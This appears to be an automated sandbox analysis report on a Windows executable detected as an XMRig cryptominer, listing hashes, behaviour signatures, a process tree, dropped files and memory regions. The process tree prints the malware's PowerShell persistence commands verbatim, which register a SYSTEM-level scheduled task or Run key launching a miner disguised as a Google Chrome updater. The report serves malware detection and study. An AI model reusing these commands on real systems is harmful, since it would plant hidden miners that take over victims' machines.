Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-11-2024 16:07

General

  • Target

    ae3ae350218998f35fe4582d010844c4f62490af30af438c1735e5037d115fc1.exe

  • Size

    2.0MB

  • MD5

    b280cc4e78a7bff8d072713f8b4beb29

  • SHA1

    76e5ab8eda5c292b4f602e8a73c037f4623cb172

  • SHA256

    ae3ae350218998f35fe4582d010844c4f62490af30af438c1735e5037d115fc1

  • SHA512

    51e8208fefa8cb51930468aa172f7b07056bf98281d7baf0108537fbab1291f1fc1826e708dec31f57432f7627eb2bccb3d05dc924b1e38f4b290ecb03c7861d

  • SSDEEP

    49152:BMJt5dwHjwTFKLpVI1M5crh/XBSgqJXEjvZ80eYcZxXBkK8jXCv:Bot4DrVaEcugqJUDDcZl4C

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 11 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Drops file in System32 directory 2 IoCs
  • UPX packed file 13 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 3 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 46 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3420
      • C:\Users\Admin\AppData\Local\Temp\ae3ae350218998f35fe4582d010844c4f62490af30af438c1735e5037d115fc1.exe
        "C:\Users\Admin\AppData\Local\Temp\ae3ae350218998f35fe4582d010844c4f62490af30af438c1735e5037d115fc1.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2376
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#grrqr#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5104
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#fwcaup#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3228
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:3136
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#grrqr#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:2492
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe bjecouybve
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          PID:4368
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:3140
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            3⤵
            • Detects videocard installed
            PID:4416
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          PID:4040
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe dawljevacynemhmk 6E3sjfZq2rJQaxvLPmXgsA4f0StS9pic9Xw++oZ1mnasCD7XnRLS04n/3PSQs4Y8p6xe1bGyOY+8Z8xp48QJueDeTETxFigw/gLPZY+zEogUGWJwIe0AnFUo5KGehIuSRD8LakQ2BzY76sQikKRo5YsnCeK/QrMiYGenOchYS4YmzB1SO5TDIHyuOuvYhgcxxFuuLlNJu0EGD3BPwarLoVEPwRT4xy6xyOSAVSH1wbSbPT0AK/BX0WsIoOE2qYBbW+WixLTgx7HjhKf0L4MRjwKSBvXZaWontgosxNwPppX9KP6jbKsfw7RDUuDo3lmia8ZSURXiB81FAoYkSLU7IBM0OymWsiXcl9u5srNjQA0k5GNYIMU+Fr+NfudwZ5jbqLyO1Fcpzprom2yaNY2GpW0EyVPrfNHarAXQ7RU0Of1LBbxblkg3LpJLPkqCsoF9v1d5xB21h7eDMgBuz7Q4hpHFL23KscuMzSbz1a80gIlw/62lQaY2MB6rC/wo0N8JLI5mh3ejpdCL2Fu3Uwdf3h2YDJHY49lSbf2BO3+0/sufm7JB2KrBZSJapq4f7Apf
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:772
      • C:\Program Files\Google\Chrome\updater.exe
        "C:\Program Files\Google\Chrome\updater.exe"
        1⤵
        • Executes dropped EXE
        PID:5016

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Program Files\Google\Chrome\updater.exe

        Filesize

        2.0MB

        MD5

        b280cc4e78a7bff8d072713f8b4beb29

        SHA1

        76e5ab8eda5c292b4f602e8a73c037f4623cb172

        SHA256

        ae3ae350218998f35fe4582d010844c4f62490af30af438c1735e5037d115fc1

        SHA512

        51e8208fefa8cb51930468aa172f7b07056bf98281d7baf0108537fbab1291f1fc1826e708dec31f57432f7627eb2bccb3d05dc924b1e38f4b290ecb03c7861d

      • C:\Program Files\Google\Libs\g.log

        Filesize

        226B

        MD5

        fdba80d4081c28c65e32fff246dc46cb

        SHA1

        74f809dedd1fc46a3a63ac9904c80f0b817b3686

        SHA256

        b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

        SHA512

        b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        3KB

        MD5

        00e7da020005370a518c26d5deb40691

        SHA1

        389b34fdb01997f1de74a5a2be0ff656280c0432

        SHA256

        a529468d442b807290b41565130e4c52760af9abec37613114db3857f11ad4fe

        SHA512

        9a02bacc6fb922d6202548e80e345c6cdec346b79ef7ac7a56f89fd342ff128de004065b9d010d015b54d4ca72f665ca658c7ffcd8eb906e14bfa5b48b43f2cf

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        032ecfae3d898f4ba9779fea44d37004

        SHA1

        8b94484cc8f791b1c173eaac0bc5e6bd289c6a95

        SHA256

        711e7c2607a81517e905adf043981cb850bc65dbb2b1f0d4e2dd6c703fb7c38e

        SHA512

        13530538c0ac08c41931085805e76acc036fb18d02d40180593b73120e90027a8b4efabb95cda500a2a52fc4199f08c5f941f44609276add69eb6cdd557398da

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eaa4wb4y.mwc.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/772-77-0x00007FF76F120000-0x00007FF76F914000-memory.dmp

        Filesize

        8.0MB

      • memory/772-89-0x00007FF76F120000-0x00007FF76F914000-memory.dmp

        Filesize

        8.0MB

      • memory/772-81-0x00007FF76F120000-0x00007FF76F914000-memory.dmp

        Filesize

        8.0MB

      • memory/772-79-0x00007FF76F120000-0x00007FF76F914000-memory.dmp

        Filesize

        8.0MB

      • memory/772-65-0x0000027198810000-0x0000027198830000-memory.dmp

        Filesize

        128KB

      • memory/772-63-0x00007FF76F120000-0x00007FF76F914000-memory.dmp

        Filesize

        8.0MB

      • memory/772-85-0x00007FF76F120000-0x00007FF76F914000-memory.dmp

        Filesize

        8.0MB

      • memory/772-75-0x00007FF76F120000-0x00007FF76F914000-memory.dmp

        Filesize

        8.0MB

      • memory/772-73-0x00007FF76F120000-0x00007FF76F914000-memory.dmp

        Filesize

        8.0MB

      • memory/772-87-0x00007FF76F120000-0x00007FF76F914000-memory.dmp

        Filesize

        8.0MB

      • memory/772-83-0x00007FF76F120000-0x00007FF76F914000-memory.dmp

        Filesize

        8.0MB

      • memory/772-70-0x00007FF76F120000-0x00007FF76F914000-memory.dmp

        Filesize

        8.0MB

      • memory/772-71-0x00007FF76F120000-0x00007FF76F914000-memory.dmp

        Filesize

        8.0MB

      • memory/772-91-0x00007FF76F120000-0x00007FF76F914000-memory.dmp

        Filesize

        8.0MB

      • memory/2376-20-0x00007FF662730000-0x00007FF662941000-memory.dmp

        Filesize

        2.1MB

      • memory/2376-0-0x00007FF662730000-0x00007FF662941000-memory.dmp

        Filesize

        2.1MB

      • memory/2492-59-0x000002D26F420000-0x000002D26F42A000-memory.dmp

        Filesize

        40KB

      • memory/2492-58-0x000002D26F360000-0x000002D26F415000-memory.dmp

        Filesize

        724KB

      • memory/2492-57-0x000002D26F340000-0x000002D26F35C000-memory.dmp

        Filesize

        112KB

      • memory/2492-60-0x000002D26F590000-0x000002D26F5AC000-memory.dmp

        Filesize

        112KB

      • memory/3228-23-0x00007FFE56170000-0x00007FFE56C31000-memory.dmp

        Filesize

        10.8MB

      • memory/3228-22-0x00007FFE56170000-0x00007FFE56C31000-memory.dmp

        Filesize

        10.8MB

      • memory/3228-24-0x00007FFE56170000-0x00007FFE56C31000-memory.dmp

        Filesize

        10.8MB

      • memory/3228-37-0x00007FFE56170000-0x00007FFE56C31000-memory.dmp

        Filesize

        10.8MB

      • memory/4368-74-0x00007FF69E210000-0x00007FF69E226000-memory.dmp

        Filesize

        88KB

      • memory/4368-69-0x00007FF69E210000-0x00007FF69E226000-memory.dmp

        Filesize

        88KB

      • memory/5016-38-0x00007FF611E10000-0x00007FF612021000-memory.dmp

        Filesize

        2.1MB

      • memory/5016-64-0x00007FF611E10000-0x00007FF612021000-memory.dmp

        Filesize

        2.1MB

      • memory/5104-18-0x00007FFE56170000-0x00007FFE56C31000-memory.dmp

        Filesize

        10.8MB

      • memory/5104-15-0x00007FFE56170000-0x00007FFE56C31000-memory.dmp

        Filesize

        10.8MB

      • memory/5104-14-0x00007FFE56170000-0x00007FFE56C31000-memory.dmp

        Filesize

        10.8MB

      • memory/5104-13-0x00007FFE56170000-0x00007FFE56C31000-memory.dmp

        Filesize

        10.8MB

      • memory/5104-12-0x00007FFE56170000-0x00007FFE56C31000-memory.dmp

        Filesize

        10.8MB

      • memory/5104-2-0x0000023EBB890000-0x0000023EBB8B2000-memory.dmp

        Filesize

        136KB

      • memory/5104-1-0x00007FFE56173000-0x00007FFE56175000-memory.dmp

        Filesize

        8KB